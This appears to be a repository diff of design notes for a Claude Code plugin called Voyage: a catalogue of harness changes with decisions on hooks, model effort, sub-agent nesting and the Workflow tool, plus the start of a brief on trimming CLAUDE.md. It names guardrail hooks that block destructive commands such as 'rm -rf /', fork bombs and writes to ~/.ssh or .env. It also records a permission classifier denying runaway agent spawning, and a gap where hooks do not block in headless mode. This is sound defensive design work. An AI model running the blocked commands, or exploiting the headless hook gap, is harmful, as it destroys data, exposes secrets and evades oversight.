| **CC-15** | Hook `if:` conditions for Read/Edit/Write paths now match reliably (2.1.139/176); reopens deferred **F2** (scope pre-bash/pre-write executors to execute sessions) | FIX | `pre-bash-executor.mjs`, `pre-write-executor.mjs` are currently universal | **DECIDED (keep universal)** | F2 was deferred with "universal protection wins." The `if:` mechanism now works, so the *option* is real again — but the original rationale holds. **S2 resolution: KEEP UNIVERSAL.** These guardrails (rm -rf /, fork bombs; writes to ~/.ssh, .env, .git/hooks) are session-agnostic safety; narrowing to execute-only would only weaken protection with no benefit and never interferes with brief/research/plan work. Header comments corrected to state the universal scope. |
|
||||
| **CC-16** | `SessionStart` `reloadSkills` + `sessionTitle` (2.1.152) | NEW | Voyage sets session title via `UserPromptSubmit` (`session-title.mjs`) | **SKIP** | Current mechanism works and is command-scoped (title reflects the invoked `/trek*` command). SessionStart-title would fire before the command is known. No gain. |
|
||||
| **CC-17** | Hook `terminalSequence` output — notifications/bells without a TTY (2.1.141); `continueOnBlock` for PostToolUse (2.1.139); `MessageDisplay` event (2.1.152); Stop block-cap 8 (2.1.143) | NEW | minor ergonomics; Voyage hooks are fail-open and non-interactive | **SKIP/DEFER** | No current need. `MessageDisplay`/`continueOnBlock` SKIP (no use case); `terminalSequence` DEFER (could notify on long headless waves). Block-cap is informational. |
|
||||
|
||||
---
|
||||
|
||||
## S2 resolutions (W3 hardening — 2026-06-18)
|
||||
|
||||
S2 shipped the mechanical W3 items and recorded the two W3 decisions. Schemas verified verbatim against the official slash-commands and hooks docs before any edit (the casing of `disallowed-tools` and exec-form `${CLAUDE_PLUGIN_ROOT}` interpolation are both load-bearing; a first-pass assistant claim of `disallowedTools` camelCase was caught and corrected against the doc).
|
||||
|
||||
- **CC-14 — SHIPPED.** All 7 hooks in `hooks/hooks.json` migrated to exec-form (`command:"node"`, `args:["${CLAUDE_PLUGIN_ROOT}/hooks/scripts/X.mjs"]`). `tests/hooks/hooks-json-stop-wired.test.mjs` updated to be form-agnostic (normalizes `command`+`args` to one invocation string). 578/580 pass, 0 fail.
|
||||
- **CC-11 — SHIPPED.** `disallowed-tools: Agent, TeamCreate` added to `commands/trekexecute.md`, promoting its documented "No Agent tool, no TeamCreate, no delegation" rule from prose to enforcement. Key fact: `allowed-tools` grants auto-approval but does **not** remove tools from the pool (doc, slash-commands.md), so the prior omission left Agent callable; `disallowed-tools` removes it. trekexecute is the only command with a documented exclusion (trekplan's "never spawn more agents than warranted" is an adaptive-count guideline, not an exclusion — trekplan legitimately uses Agent).
|
||||
- **CC-15 — DECIDED (keep universal).** F2 stays deferred: `pre-bash-executor.mjs` / `pre-write-executor.mjs` remain universal. Rationale re-affirmed explicitly now that `if:` works — narrowing to execute-only sessions would weaken session-agnostic safety with no benefit. Header comments corrected to state the universal scope by design.
|
||||
- **CC-10 — DECIDED (design note; no code).** Do **not** add a `permissions.deny` rule like `Agent(model:opus)`. Such rules live in `settings.json` permissions (colon separator inside parens, confirmed 2.1.178), not in frontmatter, and a blanket opus-lock would break the `balanced`/`economy` profiles that deliberately spawn `sonnet`. If model-enforcement is ever wanted, it must be **profile-aware** and emitted as part of the W2 model/effort work (S3/S4) — e.g. a profile could ship its own `availableModels`/deny set. Until then, the `model: opus` convention in the 23 agent frontmatters stays advisory. Folded into W2 open question #3.
|
||||
|
||||
## W2 — Model & effort alignment (gates v5.4)
|
||||
|
||||
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|
||||
|----|------------------|------|------------------|----------|-----------|
|
||||
| **CC-21** | **Opus 4.8** available; `opus` defaults to high/xhigh effort (**2.1.154**, verified) | NEW | All 23 agents + 7 commands pin `model: opus` → now resolve to 4.8 at a higher default effort | **DECIDED (S3)** | Accept Opus-4.8-`high` as the new baseline (verified: opus default = `high`). The moderation lever is native `effort:` (CC-22 option C). Doc follow-up: update model/effort references in `CLAUDE.md`/`docs/profiles.md`/README. See §S3 resolutions. |
|
||||
| **CC-22** | Native `effort:` frontmatter on agents/skills/commands + 5 levels low/medium/high/xhigh/max (**2.1.149/154**, verified) | NEW | Voyage **reinvented** effort as `phase_signals` (low/standard/high) + the `phase-signal-resolver.mjs`/`resolver.mjs` system (which carries the MAJOR doc/code-inconsistency finding) | **DECIDED (S3): option C** | **Resolved.** The (a)-map premise was false: Voyage `effort` = *orchestration-shape* (which agents/passes/gates run, consumed by command prose), native `effort:` = *per-spawn reasoning budget* — **different axes, same name.** Decision: **freeze `phase_signals.effort` 3-level (low/standard/high) as-is** (unblocks v5.4) and adopt native `effort:` **additively at the agent/profile layer, outside the brief contract.** Field name kept `effort` (no breaking rename) + distinction documented. Does NOT retire the resolver MAJOR (that's model-gating, independent — S4). See §S3 resolutions. |
|
||||
| **CC-23** | Claude Fable 5 (Mythos-class) GA (2.1.170) | NEW | Voyage is a planning/reasoning pipeline; Fable is a different model class | **SKIP** (revisit) | Not an obvious fit for deep-planning agents. Note as an option if a future profile wants a distinct model class for a specific phase. |
|
||||
| **CC-24** | `enforceAvailableModels` managed setting (2.1.175); `availableModels` now constrains Default + subagent overrides (2.1.172/176) | CHANGE | enterprise deployments could constrain Voyage's `opus`/`sonnet` picks | **DEFER** | Document that profile model picks must live within any managed `availableModels` allowlist. Relevant for enterprise consumers post-open-release. |
|
||||
| **CC-25** | `MAX_THINKING_TOKENS=0` / `--thinking disabled` disables thinking on think-by-default models (2.1.166) | NEW | could gate thinking in cheap `economy`-profile phases | **DEFER** | Minor cost lever; fold into W2 profile design if useful. |
|
||||
|
||||
---
|
||||
|
||||
## S3 resolutions (W2 effort/model alignment — 2026-06-18, operator-gated)
|
||||
|
||||
S3 was a decision-gate. Two-track evidence (codebase map of `phase_signals`/`phase_models`/profiles/resolver + verbatim-cited CC native-`effort:` semantics) overturned CC-22's framing hypothesis and the operator confirmed the path.
|
||||
|
||||
**The load-bearing finding — two axes, one name.** Voyage's `phase_signals.effort` (low/standard/high) is consumed only by **command prose** to pick *orchestration shape*: skip/add swarm passes, gate strictness, sequential-vs-parallel (`trekplan.md:925–957`, `trekresearch.md:472–503`, `trekreview.md:385–417`, `trekexecute.md:1542–1577`). CC native `effort:` (low/medium/high/xhigh/max) is a *per-spawn reasoning-token budget* applied by the harness. `low` in Voyage means "run fewer agents," not "think less." A remap (option a) would conflate the two and silently delete orchestration behavior — and would **not** remove the resolver (it also carries the model half). Verified native semantics: `effort:` settable in agent/skill/command frontmatter; precedence env (`CLAUDE_CODE_EFFORT_LEVEL`) > frontmatter > session > model default; Opus 4.8 default = `high`.
|
||||
|
||||
**Operator decisions (2026-06-18):**
|
||||
1. **CC-22 → option C.** Freeze `phase_signals.effort` 3-level as-is (it is an orchestration axis, deliberately not the native 5-level vocab) → **unblocks the v5.4 brief-schema freeze**. Adopt native `effort:` additively, at the agent/profile layer, outside the brief contract.
|
||||
2. **Field name kept `effort`** (no breaking rename at v5.4); the orchestration-vs-reasoning distinction is documented loudly instead.
|
||||
|
||||
**Dispositions feeding S4 / v5.4 / profile design:**
|
||||
- **CC-21 — DECIDED.** Opus-4.8-`high` is the accepted baseline; native `effort:` is the moderation lever. Doc-truth follow-up: model/effort references in `CLAUDE.md`/`docs/profiles.md`/README.
|
||||
- **CC-24 — DEFER (confirmed).** `availableModels`/`enforceAvailableModels` constrains **model only**, not effort (verified). Document that profile model picks must stay within any enterprise allowlist.
|
||||
- **CC-25 — DEFER (confirmed).** `MAX_THINKING_TOKENS=0` overrides effort (disables thinking) — the most aggressive `economy` cost lever; fold into profile design.
|
||||
- **Resolver MAJOR (S4, unchanged).** `phase-signal-resolver.mjs:40` copies `model` ungated while `:39` gates `effort`. Independent of the effort decision; option C keeps `phase_signals.model`, so the fix (import + apply `BASE_ALLOWED_MODELS`) stays on S4.
|
||||
|
||||
**S4 scope (now unblocked):** (1) resolver MAJOR model-gate fix; (2) additive native `effort:` — verified-safe minimum is static per-agent frontmatter (retrieval agents `task-finder`/`git-historian`/`dependency-tracer`/`architecture-mapper` lower; reasoning agents `plan-critic`/`risk-assessor`/`contrarian-researcher`/`review-coordinator` stay high); (3) doc-truth model/effort updates; (4) document the effort-axis distinction. **Open (non-blocking):** profile-driven *dynamic* effort needs verification — per-spawn `effort` param is **unverified** (only `model` is documented per-spawn); dynamic would otherwise need env-var injection.
|
||||
|
||||
## S4 resolutions (W2 implementation — 2026-06-18)
|
||||
|
||||
S4 implemented the four scope items above. TDD: a failing test was written first for the resolver gate, then the fix; full suite green throughout.
|
||||
|
||||
- **Resolver MAJOR — FIXED.** `lib/profiles/phase-signal-resolver.mjs` now imports `BASE_ALLOWED_MODELS` from `profile-validator.mjs` and gates `model` (`if ('model' in entry && BASE_ALLOWED_MODELS.includes(entry.model))`), mirroring the `EFFORT_LEVELS` gate one line above. Out-of-allowlist models (e.g. `gpt-4`, `haiku`) are now dropped (treated as absent) instead of handed through to an agent spawn — defense-in-depth behind `brief-validator`'s validation-time check. 2 new tests in `tests/lib/phase-signal-resolver.test.mjs` (drops-invalid + keeps-valid). No circular import (`brief-validator` already imports the same symbol; `profile-validator` depends only on `util/`).
|
||||
- **Native `effort:` — SHIPPED (static, additive).** Added `effort:` frontmatter to the 8 named agents: retrieval (`task-finder`, `git-historian`, `dependency-tracer`, `architecture-mapper`) → `medium`; adversarial-reasoning (`plan-critic`, `risk-assessor`, `contrarian-researcher`, `review-coordinator`) → `high`. The other 15 agents stay unset → inherit Opus-4.8 default (`high`). `claude plugin validate` passes (effort is a valid frontmatter field; only the pre-existing root-CLAUDE.md warning remains).
|
||||
- **Doc-truth + axis distinction — DONE.** New canonical section `docs/profiles.md` §Model & effort axes (opus→Opus 4.8 default-`high`; orchestration `phase_signals.effort` vs native reasoning `effort:` table; native-effort precedence; which agents carry which level). Short note added to `CLAUDE.md` (after Agents table) and `README.md` (Cost profile section), both pointing to the profiles.md section.
|
||||
- **Open (non-blocking, unchanged).** Only *static* per-agent effort shipped — the verified-safe minimum. Profile-driven *dynamic* effort still needs verification of the per-spawn `effort` param (only `model` is documented per-spawn) or env-var injection (`CLAUDE_CODE_EFFORT_LEVEL`). Deferred to W2 profile design.
|
||||
- **Tests:** 582 total / 580 pass / 0 fail / 2 skip (was 578 pass; +2 new resolver tests).
|
||||
|
||||
## W1 — Orchestration architecture (multi-week, empirical)
|
||||
|
||||
| ID | Change (version) | Type | Voyage relevance | Decision | Rationale |
|
||||
|----|------------------|------|------------------|----------|-----------|
|
||||
| **CC-26** | Sub-agents spawn sub-agents ≤5 deep (**2.1.172**, verified) — the design response to CC-01 | NEW | Could restore *delegated* orchestration: an orchestrator sub-agent spawns the swarm; synthesis/writing delegated (the "missing summarizer link" in `docs/subagent-delegation-audit.md`). Frees main-context tokens | **EVALUATE → lean NO (S7)** | "Can spawn 5 deep" ≠ "Voyage's orchestrator→6-agent-swarm pattern performs well." **S7 (2026-06-18, GATE):** feasibility probed cheaply — depth-2 nesting works, no degradation; depth cap moot (Voyage needs depth 2); NEW finding = auto-mode proliferation classifier polices agent fan-out (risk unique to delegation). On cost/benefit, **wholesale delegation NOT recommended**; the only defensible path is a narrow opt-in synthesis-agent PoC, proven by Δ main-context tokens. Operator gates verdict. Full bake-off designed but NOT run. See `docs/T1-cc26-delegated-orchestration.md` + §S7. |
|
||||
| **CC-27** | Dynamic Workflows / Workflow tool — orchestrates tens–hundreds of agents (**2.1.154**, verified); keyword `workflow`→`ultracode` (2.1.160); `agent()` attribution headers (2.1.174) | NEW | Voyage **hand-rolls** swarm/wave/pipeline orchestration in command prose — the Workflow tool is a native primitive for exactly this | **EVALUATE → selective hybrid (S8)** | The biggest identity decision: adopt Workflow as substrate, or stay prose-orchestrated? **S8 (2026-06-18, GATE):** probed cheaply — a minimal trekreview-shaped `parallel()`→`agent()` Workflow ran end-to-end (F1), structured schemas retire the JSON-parse fragility at `trekreview.md:202–204` (F2), result returns to main (F3), and a small purposeful fan-out did **not** trip the S7 proliferation classifier (F4). Reframe: "substrate swap" is a false binary — a `/trek*` command is ~80% non-orchestration glue, so Workflow can only ever replace the fan-out→synthesize *core* (hybrid). **Recommendation: selective hybrid, NOT wholesale swap** — tier 1 ship a prose schema contract (the F2 win, no Workflow dep); tier 2 port trekreview Phase 5–6 to a Workflow only if the designed bake-off shows fidelity-equivalent output + acceptable control/cost; tier 3 wholesale swap declined (portability floor 2.1.154+, opt-in UX, visibility loss). Operator gates verdict. Full bake-off designed, NOT run. See `docs/T2-cc27-workflow-substrate.md` + §S8. |
|
||||
| **CC-28** | `TaskCreate` reliability — auto-repairs malformed input, schema in errors (2.1.163/169) | FIX | `TaskCreate`/`TaskUpdate` are in `trekplan`/orchestrator frontmatter but not actively used in command logic | **DEFER** | Becomes relevant only if W1 adopts task-graph orchestration. Tie to CC-26/27 outcome. |
|
||||
| **CC-29** | `subagent_type` matching now case/separator-insensitive (2.1.140); multiple `Agent(...)` types in `tools:` no longer dropped (2.1.147); subagent transcript/backgrounding fixes (2.1.178) | FIX | improves DX of any delegated-orchestration design | **SHIP** (verify) | Free robustness. Confirm Voyage's agent `tools:` grants (none currently declare multiple `Agent(...)` types) and `subagent_type` references are unaffected. |
|
||||
| **CC-31** | Worktree-isolation guard now applies in background sessions (2.1.154); `worktree.bgIsolation:"none"` (2.1.143); `EnterWorktree` switching mid-session (2.1.157) | CHANGE | `trekexecute` Phase 2.6 parallel waves + `trekplan` "execute with team" use git worktrees / `TeamCreate isolation:"worktree"` | **EVALUATE** | Verify Voyage's worktree-based parallel execution still behaves under the tightened bg-isolation guard. Affects the multi-session headless path. |
|
||||
|
||||
---
|
||||
|
||||
## S7 resolutions (W1 / CC-26 gate — 2026-06-18, operator-gated)
|
||||
|
||||
S7 was the first W1 gate. Operator chose a **staged** execution: cheap live feasibility probe +
|
||||
measurement-design doc; the expensive head-to-head comparison was specified but **not run**.
|
||||
|
||||
- **Feasibility (measured).** A recursive `general-purpose` agent chain in this CC 2.1.181
|
||||
interactive session confirmed: depth-2 nesting works (`main → L1 → L2`; both children report the
|
||||
Agent tool available), and the nested sub-agent returned a real, well-formed result — **no silent
|
||||
degradation** at depth 2. The v2.4.0 premise ("harness does not expose Agent to sub-agents") is
|
||||
confirmed false at the interactive sub-agent level.
|
||||
- **Depth cap moot.** The ≤5 cap was never reached; the recursion stopped at L2→L3 via the
|
||||
**auto-mode permission classifier** (policy denial: "uncontrolled agent proliferation"), not the
|
||||
nesting limit. Voyage's needed pattern is depth 2, so the cap does not bind this gate.
|
||||
- **NEW finding — proliferation classifier.** Auto/bypass modes actively deny purposeless agent
|
||||
fan-out. A delegated orchestrator spawning a 6–10-agent swarm from inside a sub-agent under
|
||||
`auto`/`bypassPermissions` is exactly that shape — a classifier-interference risk **unique to
|
||||
delegation** that inline orchestration does not carry, and a new silent-degradation surface if a
|
||||
mid-pipeline spawn is denied. Must be in any future delegated-spawn test matrix.
|
||||
- **CC-26 recommendation (operator gates verdict).** Lean **NO** on wholesale delegated
|
||||
orchestration: feasibility is no longer the blocker, so the gate turns on cost/benefit, which is
|
||||
unfavourable (delegation's only upside is main-context relief, against wall-time loss, context
|
||||
re-delivery cost, the audit's iteration/adversarial-review/debuggability tradeoffs, and the new
|
||||
classifier risk). The only defensible win is a **narrow opt-in synthesis-agent** (delegate just
|
||||
trekplan Phase 7's heaviest inline read), adopted only if a measured Δ main-context ≥ 30% with no
|
||||
quality loss materialises. CC-27 (Workflow tool, S8) is the more promising substrate question and
|
||||
is untouched.
|
||||
- **Artifact.** `docs/T1-cc26-delegated-orchestration.md` — full gate evidence, the §5 full
|
||||
bake-off design (thresholds POSITIVE/NEGATIVE/INCONCLUSIVE), and the §6 synthesis-agent PoC, all
|
||||
ready to run if the operator greenlights pursuing delegation.
|
||||
|
||||
## S8 resolutions (W1 / CC-27 gate — 2026-06-18, operator-gated)
|
||||
|
||||
S8 was the second W1 gate — the orchestration-substrate identity decision. Operator chose the same
|
||||
**staged** execution as S7: cheap live feasibility probe + measurement-design doc; the head-to-head
|
||||
prose-vs-Workflow bake-off was specified but **not run**.
|
||||
|
||||
- **Feasibility (measured).** A minimal trekreview-shaped Workflow — `parallel([reviewerA,
|
||||
reviewerB])` with a findings schema → `agent(coordinator)` with a verdict schema, trivial agents,
|
||||
synthetic input — ran end-to-end in this CC 2.1.181 interactive session: both reviewers returned
|
||||
(F1), structured schemas delivered typed findings with no JSON-parse step (F2), the synthesizer
|
||||
reproduced Phase-6 dedup+verdict behavior and the result returned to main (F3), and the small
|
||||
purposeful fan-out did **not** trip the S7 proliferation classifier (F4). _3 agents · 85 461
|
||||
tokens · 13.8 s._
|
||||
- **Reframe — "substrate swap" is a false binary.** A `/trek*` command is ~80% non-orchestration
|
||||
glue (mode parsing, triage, validators, stats, HTML) and ~20% agent fan-out. The Workflow tool
|
||||
can only ever replace the fan-out→synthesize *core* (trekreview Phase 5–6), so the real decision
|
||||
is a **scoped hybrid per core**, not a wholesale identity swap. (Mirrors S7's "wall-time is not
|
||||
the gate metric" reframe.)
|
||||
- **The one concrete win is schema robustness (F2)** — and it is capturable *without* the Workflow
|
||||
tool: codify reviewer-output JSON as a validated prose schema contract, retiring the fragile
|
||||
"collect trailing JSON / re-ask on parse error" at `trekreview.md:202–204`.
|
||||
- **CC-27 recommendation (operator gates verdict).** **Selective hybrid, NOT wholesale swap**, in
|
||||
three tiers: (1) ship a prose schema contract regardless — the F2 win, zero new dependency; (2)
|
||||
port trekreview Phase 5–6 to a Workflow *only if* the designed bake-off shows fidelity-equivalent
|
||||
output + acceptable control/cost — best-case first port; (3) wholesale substrate swap **declined**
|
||||
(portability floor 2.1.154+, opt-in/billing UX on every invocation, loss of mid-flow operator
|
||||
visibility for an operator-gated review tool). CC-26 (S7) and CC-27 (S8) are now both resolved to
|
||||
"narrow/selective, operator-gated, not wholesale."
|
||||
- **Open risk inherited from S7.** Classifier behavior at *large* fan-out (trekplan's 6–10-agent
|
||||
swarm) under `auto`/`bypass` is still unverified — trekreview's 2–3 agents are below threshold,
|
||||
but a later trekplan port must measure it first.
|
||||
- **Artifact.** `docs/T2-cc27-workflow-substrate.md` — full gate evidence (F0–F4), §5 bake-off
|
||||
design (thresholds POSITIVE/NEGATIVE/INCONCLUSIVE), §6 no-Workflow schema-contract PoC, all ready
|
||||
to run if the operator greenlights tier 1 and/or tier 2.
|
||||
|
||||
## S13 resolutions (RELEASE — 2026-06-18, operator-gated)
|
||||
|
||||
S13 is the coordinated release that lands everything accumulated since `v5.1.1`: the
|
||||
`brief_version 2.2` framing badge (held since S6), the W2/W3 hardening, and the W1 narrow wins
|
||||
(NW1–NW3). Operator confirmed **two release decisions** (2026-06-18): version `5.5.0` and the
|
||||
CLAUDE.md-warning disposition (below). Shipped as **v5.5.0** — see `CHANGELOG.md`.
|
||||
|
||||
- **Version = `5.5.0` (operator-confirmed).** The codebase already labels the framing milestone
|
||||
`v5.5` and the contract formalization `v5.4` in ~25 test/doc sites; `5.5.0` makes those true
|
||||
against the shipped version. Minor bump (additive — existing `2.0`/`2.1` briefs still validate;
|
||||
new requirements gate only on briefs that *declare* `2.2`). Versions `5.2`–`5.4` were never
|
||||
released — internal milestone labels folded into this one coordinated entry. Synced across
|
||||
`plugin.json` + `package.json` + README badge + CHANGELOG top, guarded by a new
|
||||
version-consistency test in `tests/lib/doc-consistency.test.mjs`.
|
||||
- **CLAUDE.md root warning — ACCEPTED BY DESIGN (operator-confirmed).** `claude plugin validate`
|
||||
emits one advisory warning ("root: CLAUDE.md … is not loaded as project context; use a skill
|
||||
instead"). **Verified universal** across the marketplace (`graceful-handoff` emits the identical
|
||||
warning *even with* a `skills/` dir — adding a skill does NOT clear it). It is advisory only
|
||||
(validation passes), and the root `CLAUDE.md` is repo/maintainer context — consumer context ships
|
||||
via README + command/agent frontmatter. Removing it would lose in-repo project instructions and
|
||||
break the global continuity system. Disposition recorded so future sessions do not re-chase an
|
||||
impossible "fix"; `validate` stays "passed with warnings" as the expected steady state.
|
||||
- **CC-08 — RESOLVED: keep the safety preamble.** GH #36071 (PreToolUse hooks don't block in
|
||||
headless `-p` mode) is **CLOSED AS NOT PLANNED, not fixed** (verified against the issue + official
|
||||
changelog; the recent "hook deferral" feature is a workaround, not a fix to the headless
|
||||
synchronization bug). The in-prompt safety preamble (`trekexecute.md:341`,
|
||||
`templates/headless-launch-template.md:48`) **stays** — do not relax it on a silence-implies-fixed
|
||||
assumption.
|
||||
- **CC-29 — VERIFIED clean (SHIP).** `subagent_type` matching is now case/separator-insensitive and
|
||||
multiple `Agent(...)` type grants are no longer dropped. No Voyage agent declares multiple
|
||||
`Agent(...)` types in `tools:`; `subagent_type` references (`/trekplan`'s `"Explore"`, the
|
||||
namespaced `voyage:*` agentTypes in the trekreview Workflow port) are unaffected. Free robustness,
|
||||
no code change.
|
||||
- **CC-31 — VERIFIED aligned (no change).** The tightened background worktree-isolation guard
|
||||
(2.1.154) reinforces exactly Voyage's intent: isolate parallel waves. `/trekplan` uses
|
||||
`TeamCreate isolation:"worktree"` with a documented sequential fallback when `TeamCreate` is
|
||||
unavailable; `/trekexecute` Phase 2.6 creates/merges/cleans worktrees per wave with stale-worktree
|
||||
cleanup. Doc-level verification (no live multi-session wave run this session); behavior consistent
|
||||
with the guard.
|
||||
- **CC-07 / CC-12 / CC-13 — DEFER confirmed (recorded, no code).** CC-07 (`fallbackModel`) triggers
|
||||
when `/trekexecute` Phase 2.6 launch flags are next touched. CC-12 (Stop/SubagentStop
|
||||
`additionalContext`) and CC-13 (`background_tasks`/`session_crons` in Stop-hook input) adopt when
|
||||
the continuity-flush / OTLP exporter is next touched. No current gap forces any of them.
|
||||
- **Final gates.** `claude plugin validate` passes (one accepted advisory warning); full `node --test`
|
||||
green. Test count rises by the 2 new version-consistency/changelog-entry tests.
|
||||
|
||||
## S20 resolution (T3 / CC-04 — 2026-06-19, operator-gated)
|
||||
|
||||
- **CC-04 — VERIFIED clean (no code change).** Research agents degrade cleanly under
|
||||
`--strict-mcp-config`. Verified semantics (CC `cli-reference.md` + `sub-agents.md`, v2.1.153):
|
||||
the flag uses only servers from `--mcp-config` and ignores all other MCP config — with no
|
||||
`--mcp-config`, every MCP server is absent. When a granted MCP tool's server is absent, Claude
|
||||
Code **skips it with a warning and the subagent launches normally with its remaining tools** —
|
||||
absent grants are dropped, not a spawn error. Voyage declares no frontmatter `mcpServers` (only
|
||||
`mcp__server__tool` grants in `tools:`), so the frontmatter-server-blocking path does not even
|
||||
apply; the grants simply go unresolved. Of the five MCP-granting agents, four (`docs-researcher`,
|
||||
`community-researcher`, `security-researcher`, `contrarian-researcher`) keep a native
|
||||
`WebSearch`/`WebFetch` fallback and degrade by losing MCP *enhancement* only — exactly what the
|
||||
graceful-degradation rule (`trekresearch.md:522`, `research-orchestrator.md:226` — "If MCP tools
|
||||
are unavailable (Tavily, Gemini, MS Learn), proceed with available tools and note the limitation")
|
||||
already prescribes.
|
||||
- **`gemini-bridge` is the one no-native-fallback case — degrades to a no-op, not a failure.** Its
|
||||
`tools:` grants are `mcp__gemini-mcp__*` only; under `--strict-mcp-config` it would spawn with no
|
||||
usable tools (the "zero granted tools" sub-case is **UNVERIFIED** in official docs, but the
|
||||
skip-with-warning rule means it does not hard-fail the pipeline). It is conditionally gated
|
||||
(`--local` skips it; standard effort triggers it only on architectural/triangulation questions;
|
||||
only high-effort forces it always-on) and the degradation rule already names Gemini, so a
|
||||
tool-less spawn is wasteful but covered. **Forward pointer (optional hardening, not done):** a
|
||||
future session could gate the `gemini-bridge` spawn on gemini-server availability to avoid the
|
||||
empty no-op under high-effort, and/or pin the "four-keep-fallback, gemini-bridge-is-MCP-only"
|
||||
invariant in `agent-frontmatter.test.mjs` so a future `tools:` edit cannot silently break this
|
||||
degradation analysis. No current gap forces either.
|
||||
- **Verification log.** Q1/Q2 confirmed via `claude-code-guide` against `code.claude.com/docs`
|
||||
(`cli-reference.md` line 110; `sub-agents.md` §Scope MCP servers to a subagent, lines 412–420;
|
||||
changelog v2.1.153). Static analysis of the five agents' `tools:` arrays + the two
|
||||
graceful-degradation rules. No live `claude -p --strict-mcp-config` run this session — harness-level
|
||||
spawn behavior is documented authoritatively, consistent with the "one quick test" sizing.
|
||||
- **CC-31 half of T3** remains **VERIFIED aligned** (see §verified findings) — no change. **T3 is now
|
||||
fully evaluated.**
|
||||
|
||||
## Sequencing
|
||||
|
||||
```
|
||||
Weekend (W0 + W4): CC-01 doc-truth fix · CC-06 plugin validate · CC-02/CC-29 verify-no-regression
|
||||
→ ship something important AND correct.
|
||||
|
||||
Near-term (W2): CC-21 + CC-22 effort/model alignment decision → GATES v5.4 (per operator decision).
|
||||
Resolves the resolver MAJOR finding in the same pass.
|
||||
|
||||
Then: v5.4 brief-schema public contract → v5.5 brief framing enforcement.
|
||||
|
||||
Multi-week (W1): CC-26 empirical sub-agent-nesting test + CC-27 Workflow-adoption prototype.
|
||||
Outcome rewrites CC-01's "current design" statement and feeds the
|
||||
docs/subagent-delegation-audit.md open problem.
|
||||
|
||||
Incremental (W3): CC-11/CC-14/CC-15 as small, independently-shippable hardening PRs.
|
||||
```
|
||||
|
||||
## Open questions (need operator or empirical answer)
|
||||
|
||||
1. **W1 identity:** does Voyage adopt the Workflow tool as substrate, or stay prose-orchestrated? (CC-27) — **S8: false binary; lean selective hybrid (port the fan-out→synthesize core only), NOT wholesale swap; see §S8.**
|
||||
2. **W1 perf:** does delegated orchestration (orchestrator sub-agent → swarm) beat inline at Voyage's scale? (CC-26 — empirical) — **S7: feasibility YES, but lean NO on wholesale adoption; see §S7.**
|
||||
3. **W2 effort model:** map `phase_signals` onto native `effort:`, or keep bespoke? (CC-22 — gates v5.4)
|
||||
4. **CC-08:** is GH #36071 (hooks in headless) fixed? Determines whether the safety-preamble can relax.
|
||||
|
||||
## Empirical tests required
|
||||
|
||||
- **T1 (CC-26):** orchestrator-sub-agent spawns the planning swarm vs. inline baseline — wall-time, quality, token cost, depth-cap behavior. Harness: extend `scripts/q3-cache-prefix-experiment.mjs` pattern. — **S7: feasibility half RUN** (depth-2 works, no degradation, cap moot, proliferation-classifier risk found); **perf half DESIGNED, NOT run** (full bake-off + cheaper synthesis-agent PoC specified in `docs/T1-cc26-delegated-orchestration.md` §5/§6).
|
||||
- **T2 (CC-27):** reimplement `/trekreview`'s reviewer swarm as a Workflow; compare control, cost, and output fidelity vs. prose orchestration. — **S8: feasibility RUN** (probe: core ports natively, schemas retire JSON fragility, small fan-out classifier-clean); **fidelity/control/cost bake-off DESIGNED, NOT run** (`docs/T2-cc27-workflow-substrate.md` §5/§6).
|
||||
- **T3 (CC-04/CC-31):** research-agent MCP degradation under `--strict-mcp-config`; worktree parallel-wave behavior under tightened bg-isolation. — **S20: CC-04 VERIFIED clean** (agents degrade cleanly — 4/5 keep a WebSearch/WebFetch fallback, `gemini-bridge` no-ops but does not hard-fail; see §S20 resolution); **CC-31 VERIFIED aligned** (see §verified findings). T3 fully evaluated.
|
||||
|
||||
---
|
||||
|
||||
_Catalogue covers 31 evaluated changes (CC-01…CC-31; CC-18/19/20/30 folded into CC-17/CC-29 rows). Generated 2026-06-18 against Voyage v5.1.1 / CC 2.1.181._
|
||||
40
docs/claudemd-token-trim-brief.md
Normal file
40
docs/claudemd-token-trim-brief.md
Normal file
|
|
@ -0,0 +1,40 @@
|
|||
# Brief — trim voyage CLAUDE.md to invariants (always-loaded token reduction)
|
||||
|
||||
**Author:** config-audit machine-tuning loop (KTG). **Date:** 2026-06-29.
|
||||
**Why config-audit didn't do this directly:** voyage is the operator's plugin — config-audit only writes briefs here, never code. Run this in a voyage session.
|
||||
|
||||
## Goal
|
||||
|
||||
`CLAUDE.md` is injected **every turn** while working in the voyage repo (the whole per-repo always-loaded delta). Measured with config-audit `manifest`: **2,261 always-loaded tokens**. The tables (commands, agents) are invariant; the cost sits in six design-history / context **block-quote notes** whose detail already lives in referenced docs. Moving them out (leaving a terse invariant + pointer) should cut **~900–1,200 tok (~40–50 %)** with zero capability loss.
|
||||
|
||||
## Hard constraints (do NOT break these)
|
||||
|
||||
- `tests/lib/doc-consistency.test.mjs` reads CLAUDE.md. Keep the **Commands table** and the **Agents table including the `Model` column** and any **count** the test cross-checks. After editing, `node --test 'tests/**/*.test.mjs'` and `bash verify.sh` must stay green.
|
||||
- Keep every **invariant fact** — just relocate the verbose *rationale/history* to the doc that already owns it, and leave a one-line pointer. Don't delete facts; move them.
|
||||
- Docs-only change → no version bump / no catalog ref unless the doc-consistency test demands a badge sync (it shouldn't for a CLAUDE.md prose trim).
|
||||
|
||||
## Trim targets (line numbers as of commit at brief time; match by content)
|
||||
|
||||
| Block | ~chars / ~tok | Action | Destination (already referenced) |
|
||||
|-------|---------------|--------|----------------------------------|
|
||||
| L5 design-principle parenthetical (synthesis-PoC Δ≈0 caveat) | 620 / ~155 | **Keep the honesty caveat in one short clause** ("main-context relief is asserted-by-design, not measured — see doc"), move the PoC explanation out | `docs/T1-synthesis-poc-results.md` |
|
||||
| L7 v3.0.0 architect-extraction note | 376 / ~94 | Replace with a one-liner: the plan command auto-discovers `architecture/overview.md` if present (migration history → CHANGELOG) | `CHANGELOG.md` |
|
||||
| L9 Trinity context (Tier 1/2/3) | 859 / ~215 | Keep the **asymmetry invariant** terse ("Voyage stays unaware of Tier 2/3; Handover 1 = the only integration point; brief-schema changes are breaking"), move the Tier 2/3 description out | `docs/HANDOVER-CONTRACTS.md` §Handover 1 |
|
||||
| **L11 brief-framing 3-layer gate** | **1,585 / ~396** | Biggest. Keep one invariant line ("brief framing must match operator intent — enforced as the `brief_version 2.2` gate: `framing` frontmatter + memory-alignment dim 6 + `## TL;DR`; all BLOCKER for ≥2.2"), move the implementation detail out | `docs/HANDOVER-CONTRACTS.md` §Handover 1 (PUBLIC CONTRACT) |
|
||||
